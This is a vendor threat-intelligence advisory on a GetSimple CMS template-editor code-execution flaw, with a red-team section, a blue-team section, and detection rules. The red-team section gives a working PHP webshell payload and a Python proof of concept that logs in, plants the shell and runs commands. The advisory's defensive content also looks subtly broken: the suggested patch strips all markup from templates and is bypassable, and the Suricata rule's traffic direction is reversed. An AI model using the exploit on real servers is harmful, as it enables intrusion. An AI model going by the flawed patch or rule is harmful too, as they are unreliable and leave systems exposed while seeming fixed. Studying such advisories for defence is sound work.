CVE-2024-55085

Executive Summary

CVE-2024-55085 is a critical arbitrary code execution (RCE) vulnerability in GetSimple CMS CE version 3.3.19. The flaw resides in the template editing function within the background management system, allowing an authenticated attacker with administrative privileges to inject and execute arbitrary PHP code. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP CMS application.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (authenticated RCE in a web application), a reasonable assessment is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Base Score: 7.2 (High)

Threat Level: High. The vulnerability allows complete control of the CMS and underlying server.

Deep Dive & Mechanics

The vulnerability exists in the template editing functionality of GetSimple CMS CE. The application fails to properly sanitize user-supplied input when editing template files (e.g., template.php). An authenticated administrator can inject arbitrary PHP code into the template content, which is then executed when the page is rendered.

Root Cause: The application uses file_put_contents() or similar functions to write template content to disk without validating or escaping the input. The written file is then included or executed by the PHP interpreter, leading to code execution.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to the theme/template editor.
3. Injects malicious PHP code (e.g., <?php system($_GET['cmd']); ?>) into the template.
4. Saves the template.
5. Accesses any page that uses the modified template, triggering the injected code.

Vulnerable vs. Patched Code

Vulnerable Code (GetSimple CMS CE 3.3.19):

// In admin/theme-edit.php (simplified)
$template_content = $_POST['content'];
file_put_contents($template_path, $template_content);

Patched Code (Hypothetical Fix):

// Sanitize input to prevent PHP code injection
$template_content = $_POST['content'];
// Remove PHP tags and dangerous functions
$template_content = preg_replace('/<\?php.*?\?>/is', '', $template_content);
$template_content = strip_tags($template_content);
file_put_contents($template_path, $template_content);

Note: No official patch exists. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for GetSimple CMS CE 3.3.19
• Network access to the admin panel

Exploit Steps:

1. Login to the admin panel.
2. Navigate to Theme -> Edit Theme.
3. Select a template file (e.g., template.php).
4. Inject the following payload into the template content:

   <?php system($_GET['cmd']); ?>
   

5. Save the template.
6. Execute commands by visiting any page that uses the template, e.g.:

   http://target.com/?cmd=id
   

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin/"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "password"}
session.post(target + "login.php", data=login_data)

# Inject payload
payload = "<?php system($_GET['cmd']); ?>"
edit_data = {"content": payload}
session.post(target + "theme-edit.php?t=template", data=edit_data)

# Execute command
r = session.get(target.replace("/admin/", "/") + "?cmd=id")
print(r.text)

Blue Team (Detection & Response)

Detection:

• Monitor for unusual modifications to template files in the theme/ directory.
• Alert on the presence of PHP code in template content that contains dangerous functions like system(), exec(), shell_exec(), etc.
• Monitor admin login attempts and template edit actions.

Response:

• Immediately revoke admin credentials if compromise is suspected.
• Restore template files from a known good backup.
• Apply file integrity monitoring (FIM) to detect unauthorized changes.
• Implement Web Application Firewall (WAF) rules to block PHP code injection attempts.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified template files in /theme/ directory containing PHP code with dangerous functions.
• New files created in the web root with .php extension containing webshell code.

Network IOCs:

• HTTP requests to the admin panel with cmd parameter in the URL.
• Unusual outbound connections from the web server to external IPs.

Log IOCs:

• Admin login events followed by theme edit actions.
• PHP error logs showing syntax errors in template files.

Detection Engineering

YARA Rule

rule GetSimple_RCE_Template_Edit {
    meta:
        description = "Detects malicious PHP code injection in GetSimple CMS template files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55085"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /system|exec|shell_exec|passthru|popen|proc_open|eval|assert/
        $template_path = /theme\/.*\.php/
    condition:
        $php_tag and $dangerous_func and $template_path
}

Sigma Rule

title: GetSimple CMS Template Edit RCE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-55085 via template editing
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: "theme-edit.php"
        cs-uri-query|contains: "t=template"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin template edits
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-55085 GetSimple CMS RCE via Template Edit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"theme-edit.php"; http_uri;
    content:"t=template"; http_uri;
    content:"<?php"; http_client_body;
    pcre:"/(system|exec|shell_exec|passthru|popen|proc_open|eval|assert)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Template Editing: Remove or restrict access to the theme editor functionality in the admin panel.
2. Apply File Permissions: Set template files to read-only for the web server user.
3. Implement WAF Rules: Block requests containing PHP code in POST parameters to theme-edit.php.
4. Monitor Logs: Actively monitor for suspicious admin activity and template modifications.

Long-Term Fix:

• Since no official patch exists, consider migrating to a supported CMS.
• If migration is not possible, manually patch the code by adding input sanitization as shown in the "Vulnerable vs. Patched Code" section.
• Implement a Content Security Policy (CSP) to mitigate XSS and code injection.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.